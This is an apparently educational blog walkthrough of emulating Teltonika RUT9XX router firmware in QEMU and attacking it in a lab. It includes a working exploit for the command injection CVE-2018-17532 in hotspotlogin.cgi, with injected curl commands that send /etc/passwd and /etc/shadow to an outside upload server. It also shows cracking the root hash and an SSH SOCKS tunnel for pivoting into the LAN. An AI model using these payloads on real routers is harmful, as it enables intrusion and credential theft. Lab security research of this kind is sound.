There’s a project called Qemu. It’s a generic and open source machine emulator and virtualizer. You can read the documentation for more details here : https://qemu-project.gitlab.io/qemu/about/index.html
Here is an example of a binary emulation from our target https://www.youtube.com/watch?v=xXfjmVJ_iho
As we target a router system, there is project called Firmware Analysis Toolkit used to emulate firmware and analyse it for security vulnerabilities using Qemu https://github.com/attify/firmware-analysis-toolkit
The tool requires multiple dependencies. You can use the author’s OS for better experience https://github.com/adi0x90/attifyos
For me i will setup the tool in a Kali linux 2022.2 in vmware.
Start by cloning the project from github and running the setup.sh
1
+2
+3
+
git clone https://github.com/attify/firmware-analysis-toolkit
+cd firmware-analysis-toolkit
+./setup.sh
+
Some errors during installalation
After installation, we need to add sudo password to the config file “fat.config”.
1
+2
+3
+
[DEFAULT]
+sudo_password=kali
+firmadyne_path=/home/attify/firmadyne
+
For the emulation, we going to use the router firmware. You can find it at https://wiki.teltonika-networks.com/view/RUT950Firmware_Downloads(legacy_WebUI)
There’s a technique to dump the firmware from the UART interface and also get a shell.
UART is used for asynchronous serial communications to send and receive data from devices for purposes such as updating firmware manually, debugging tests, or interfacing with the underlying system
For our target, UART is not supported (maybe) https://teltonika-networks.com/compare/?networking=rut950,rut955. We can find a close version with serial enabled https://fccid.io/2AET4RUT955AF/Internal-Photos/Internal-Photos-4897313
here is an example for RUTX09 https://community.teltonika-networks.com/18898/notice-there-internal-serial-port-device-rutx09-how-do-use-it
To be able to communicate with the UART interface, we need a USB to serial converter.
You can find more details here about the whole thing : https://www.youtube.com/watch?v=YD6ODeER8qM
For the firmware, i’ll use an old version # RUT9XX_R_00.04.172 | 2018.04.10 |
1
+
./fat.py RUT9XX_R_00.04.172_WEBUI.bin
+
In the first try, i had a an empty network interfaces so i increased the timeout to 360 in scripts/inferNetwork.sh
1
+2
+
echo "Running firmware ${IID}: terminating after 360 secs..."
+timeout --preserve-status --signal SIGINT 360 "${SCRIPT_DIR}/run.${ARCH}.sh" "${IID}"
+
Now let’s run it again
We can see our machine ip address let’s click enter now
We can use enter again after init finshed to access shell
After a while check the router webpage at http//:192.168.1.1
Let’s run an nmap scan to see if other services are up too
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
+┌──(kali㉿kali)-[~]
+└─$ nmap -sC -sV 192.168.1.1
+Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 17:03 EDT
+Nmap scan report for 192.168.1.1
+Host is up (0.0089s latency).
+Not shown: 996 closed tcp ports (conn-refused)
+PORT STATE SERVICE VERSION
+22/tcp open ssh Dropbear sshd 2018.76 (protocol 2.0)
+53/tcp open domain dnsmasq 2.78
+| dns-nsid:
+|_ bind.version: dnsmasq-2.78
+80/tcp open http LuCI Lua http config
+|_http-title: Site doesn't have a title (text/html).
+443/tcp open ssl/http LuCI Lua http config
+|_http-title: Site doesn't have a title (text/html).
+| ssl-cert: Subject: commonName=Teltonika/stateOrProvinceName=Vilnius/countryName=LT
+| Not valid before: 2018-04-10T12:23:14
+|_Not valid after: 2020-04-09T12:23:14
+|_ssl-date: 2018-04-10T12:27:39+00:00; -4y105d08h36m43s from scanner time.
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+
As we can see we have ssh, dns, http and https up. Now let’s do some hacking stuff.
There are many ways to find vulnerabilities in our system :
Firmware : the best way to start is by exploring the firmware. We can find a lot of things like services source code, hardcoded creds and more. I’ll do a quick overview later in the article
Services : as we can see in our previous nmap scan, we were able to identify services versions like dropbear ssh 2018.76 for ssh, dnsmasq 2.78 for dns and LuCI lua http for the web service. We can search for vulnerabilities in these services.
Routersploit : is an open-source exploitation framework dedicated to embedded devices. It’s has a lot of exploits, creds, scanners, payloads and generic attacks modules for embedded devices https://github.com/threat9/routersploit
Releases changelog : in many scenarios we can see that a device is not running the latest version, so we can track fixes for newers version. For example in our case i choosed the version “RUT9XX_R_00.04.172WEBUI.bin” if we go above a little bit we can see that in the version “RUT9XX_R_00.04.233” a CVE was fixed https://wiki.teltonika-networks.com/view/RUT950_Firmware_Downloads(legacy_WebUI)
1
+2
+3
+4
+
- Fixes:
+ - Minor Hotspot fixes (CVE-2018-17532)
+ - Minor SIM Switch fixes
+ - Minor opkg fix and package update
+
POCs : we can search on github also for same research about the device. Sometimes you can find some research and tools that can help with the pentesting documentation.
Finiding your own exploit / Bug bounty : You can go for the ultimate win by analysing the device and try find exploits. As an example we can use burp and start exploring the web interface to garther more information and start analyzing / fuzzing. The firmware can help also in this case, we can look at web files and reverse used binaires also. Here is an example of an exploit found by analyzing a binary in a TP link router : https://www.youtube.com/watch?v=zjafMP7EgEA
Teltonika RUT9XX routers with firmware before 00.04.233 are prone to multiple unauthenticated OS command injection vulnerabilities in autologin.cgi and hotspotlogin.cgi due to insufficient user input sanitization. This allows remote attackers to execute arbitrary commands with root privileges.
We can see more details here : https://www.opencve.io/cve/CVE-2018-17532
Full explanation here : https://github.com/sbaresearch/advisories/tree/public/2018/SBA-ADV-20180319-01_Teltonika_OS_Command_Injection
With the “hotspotlogin.cgi” file, he found that there is no proper sanitization for user input in the uamip parameter that is loaded in an os.execute :skull:
An attacker can exploit this vulnerability by manipulating the uamip
parameter:
1
+
curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #'
+
The device executes the commands with root privileges:
1
+2
+
cat /tmp/test
+uid=0(root) gid=0(root)
+
Let’s use the exploit with our emulated device
The exploit is blind, so we need something to see the output without accessing the router shell.
I’ll use a webserver https://pypi.org/project/uploadserver/
1
+2
+3
+4
+5
+
┌──(kali㉿kali)-[~]
+└─$ python3 -m uploadserver
+File upload available at /upload
+Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
+
+
Sending the exploit
1
+
curl -v -o /dev/null "http://192.168.1.1/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; curl -X POST http://192.168.1.110:8000/upload -F "files=@/etc/passwd" #'
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
* Trying 192.168.1.1:80...
+ % Total % Received % Xferd Average Speed Time Time Time Current
+ Dload Upload Total Spent Left Speed
+ 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
+> POST /cgi-bin/hotspotlogin.cgi HTTP/1.1
+> Host: 192.168.1.1
+> User-Agent: curl/7.82.0
+> Accept: */*
+> Content-Length: 87
+> Content-Type: application/x-www-form-urlencoded
+>
+} [87 bytes data]
+100 87 0 0 100 87 0 27 0:00:03 0:00:03 --:--:-- 27* Mark bundle as not supporting multiuse
+< HTTP/1.1 200 OK
+< Connection: close
+< Transfer-Encoding: chunked
+100 87 0 0 100 87 0 23 0:00:03 0:00:03 --:--:-- 23< Content-Type: text/html; charset=utf-8
+<
+{ [5 bytes data]
+100 2760 0 2673 100 87 736 23 0:00:03 0:00:03 --:--:-- 759
+* Closing connection 0
+
+
Let’s see our server
1
+2
+3
+4
+5
+6
+7
+8
+9
+
┌──(kali㉿kali)-[~]
+└─$ python3 -m uploadserver
+File upload available at /upload
+Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
+192.168.1.1 - - [24/Jul/2022 17:45:48] Upload of "passwd" accepted
+192.168.1.1 - - [24/Jul/2022 17:45:48] "POST /upload HTTP/1.1" 204 -
+192.168.1.1 - - [24/Jul/2022 17:45:50] Upload of "passwd" accepted
+192.168.1.1 - - [24/Jul/2022 17:45:50] "POST /upload HTTP/1.1" 204 -
+
+
We were able to get the passwd file, let’s check it
1
+2
+3
+4
+5
+6
+
root:x:0:0:root:/root:/bin/ash
+daemon:*:1:1:daemon:/var:/bin/false
+ftp:*:55:55:ftp:/home/ftp:/bin/false
+network:*:101:101:network:/var:/bin/false
+nobody:*:65534:65534:nobody:/var:/bin/false
+
+
As we can see the os command injection worked and we were able to get the passwd file using curl
Now let’s try with a reverse shell. I tried multiple reverse shells with bash ,ash and sh but without success. We need to find another solution.
As the exploit run commandes using root privileges, let’s read the /etc/shadow file
1
+
curl -v -o /dev/null "http://192.168.1.1/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; curl -X POST http://192.168.1.110:8000/upload -F "files=@/etc/shadow" #'
+
1
+2
+3
+4
+5
+6
+
root:$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:15225:0:99999:7:::
+daemon:*:0:0:99999:7:::
+ftp:*:0:0:99999:7:::
+network:*:0:0:99999:7:::
+nobody:*:0:0:99999:7:::
+
+
We got the root hash. It’s a md5crypt hash. Let’s crack it using hashcat or john.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
┌──(kali㉿kali)-[~]
+└─$ john hash.txt
+Created directory: /home/kali/.john
+Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
+Use the "--format=md5crypt-long" option to force loading these as that type instead
+Using default input encoding: UTF-8
+Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
+Will run 4 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+Almost done: Processing the remaining buffered candidate passwords, if any.
+Proceeding with wordlist:/usr/share/john/password.lst
+Proceeding with incremental:ASCII
+admin01 (?)
+1g 0:00:00:47 DONE 3/3 (2022-07-24 18:09) 0.02124g/s 105252p/s 105252c/s 105252C/s adoutt1..admarri
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed.
+
+
1
+2
+3
+
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
+
+$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:admin01
+
The root password is “admin01”. It’s the default one because we didn’t change it in the web interface
Now let’s try ssh to device
1
+2
+3
+4
+
┌──(kali㉿kali)-[~]
+└─$ ssh root@192.168.1.1
+Unable to negotiate with 192.168.1.1 port 22: no matching host key type found. Their offer: ssh-rsa
+
+
A problem with the host key. Let’s use ssh-rsa
1
+
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.1.1
+
We can use shell access to explore system files and services.
We can use our ssh acces to create a tunnel and explore the lan network for real case scenario.
I’m going to create a tunnel with the machine and configure proxychains to use it.
1
+
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.1.1 -D 9050 -N -f
+
1
+2
+3
+4
+
**-D**
+
+[bindaddress:]port
+Specifies a local ''dynamic'' application-level port forwarding. This works by allocating a socket to listen to _port_ on the local side, optionally bound to the specified _bind_address_. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and **ssh** will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.
+
Now we need to add the socks proxy to proxychains
/etc/proxychains4.conf
In proxy lists at the end add :
1
+
socks5 127.0.0.1 9050
+
Now let’s test the tunnel with a curl to the router web page.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
┌──(kali㉿kali)-[~]
+└─$ proxychains curl http://localhost
+[proxychains] config file found: /etc/proxychains4.conf
+[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
+[proxychains] DLL init: proxychains-ng 4.16
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:80 ... OK
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="refresh" content="0; URL=/cgi-bin/luci" />
+</head>
+<body style="background-color: white">
+<a style="color: white; text-decoration: none" href="/cgi-bin/luci">Wait for configuration</a>
+</body>
+</html>
+
+
Using nmap
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
┌──(kali㉿kali)-[~]
+└─$ proxychains nmap -sC -sV -p22 localhost
+[proxychains] config file found: /etc/proxychains4.conf
+[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
+[proxychains] DLL init: proxychains-ng 4.16
+Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 21:19 EDT
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:80 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:22 ... OK
+Nmap scan report for localhost (127.0.0.1)
+Host is up (0.0034s latency).
+
+PORT STATE SERVICE VERSION
+22/tcp open ssh Dropbear sshd 2018.76 (protocol 2.0)
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+
We can use the router to send anything to the local network. For example let’s hit our webserver
1
+
proxychains curl http://192.168.1.110:8000
+
1
+2
+3
+4
+5
+6
+
┌──(kali㉿kali)-[~]
+└─$ python3 -m uploadserver
+File upload available at /upload
+Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
+192.168.1.1 - - [24/Jul/2022 21:20:46] "GET / HTTP/1.1" 200 -
+
+
As we can see 192.168.1.1 who did the resquest.
We can attack LAN network directly now, especially targets that can be accessed only locally.
We can test a CLI feature using a ssh tunnel from outside. It’s called “shellinabox”. We can run it form web interface / services / CLI.
If we look at ps from the ssh shell, we can see that a new service has been executed and it uses port 4200.
1
+2
+3
+
2838 nobody 1536 S /usr/sbin/shellinaboxd --port=4200
+ 2842 nobody 1496 S /usr/sbin/shellinaboxd --port=4200
+
+
Let’s use our tunnel to access the service
1
+
proxychains firefox
+
I’ll use binwalk to get more details about the firmware and extract files
1
+2
+3
+4
+5
+6
+7
+8
+
┌──(kali㉿kali)-[~]
+└─$ binwalk RUT9XX_R_00.04.172_WEBUI.bin
+
+DECIMAL HEXADECIMAL DESCRIPTION
+--------------------------------------------------------------------------------
+512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3626612 bytes
+1192244 0x123134 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10170504 bytes, 2700 inodes, blocksize: 262144 bytes, created: 2018-04-10 12:23:58
+
+
We can see that our system use Squashfs filesystem. Let’s extract the filesystem
1
+
binwalk -e RUT9XX_R_00.04.172_WEBUI.bin
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
+└─$ ls -la
+total 64
+drwxr-xr-x 16 kali kali 4096 Jul 24 22:02 .
+drwxr-xr-x 4 kali kali 4096 Jul 24 22:02 ..
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 bin
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 dev
+drwxr-xr-x 33 kali kali 4096 Jul 24 22:02 etc
+drwxr-xr-x 13 kali kali 4096 Apr 10 2018 lib
+lrwxrwxrwx 1 kali kali 9 Jul 24 22:02 log -> /dev/null
+drwxr-xr-x 3 kali kali 4096 Apr 10 2018 mnt
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 overlay
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 proc
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 rom
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 root
+drwxr-xr-x 3 kali kali 4096 Apr 10 2018 sbin
+drwxr-xr-x 2 kali kali 4096 Apr 10 2018 sys
+drwxrwxrwt 2 kali kali 4096 Apr 10 2018 tmp
+drwxr-xr-x 8 kali kali 4096 Apr 10 2018 usr
+lrwxrwxrwx 1 kali kali 9 Jul 24 22:02 var -> /dev/null
+drwxr-xr-x 4 kali kali 4096 Apr 10 2018 www
+
+
As we see, this is the Linux filesystem. Let’s start by a quick check of the etc files.
1
+2
+3
+4
+5
+6
+7
+8
+
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
+└─$ cat etc/shadow
+root:$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:15225:0:99999:7:::
+daemon:*:0:0:99999:7:::
+ftp:*:0:0:99999:7:::
+network:*:0:0:99999:7:::
+nobody:*:0:0:99999:7:::
+
+
For the shadow file we can see the same hash that we cracked early, It’s the same one because we did’nt change it.
If we start our study using firmware, we can see a security issue here with a hardcoded root password.
For more static research, i’ll use a tool called firmwalker https://github.com/craigz28/firmwalker
1
+2
+
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
+└─$ ./firmwalker.sh /home/kali/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root output.txt
+
The tool used shodan so you need to init the api key (you can use the free one) or comment shodan commandes inside sh files.
The output gives a quick look at interesting files like config and sh files.
For more advanced tools, you can check FACT https://fkie-cad.github.io/FACT_core/
There so much stuff to talk about it, analyze and maybe start digging for new CVEs with the recent firmware version but for today, this is all i got for you guys.
I hope you find this article useful (i know it’s boring xd ).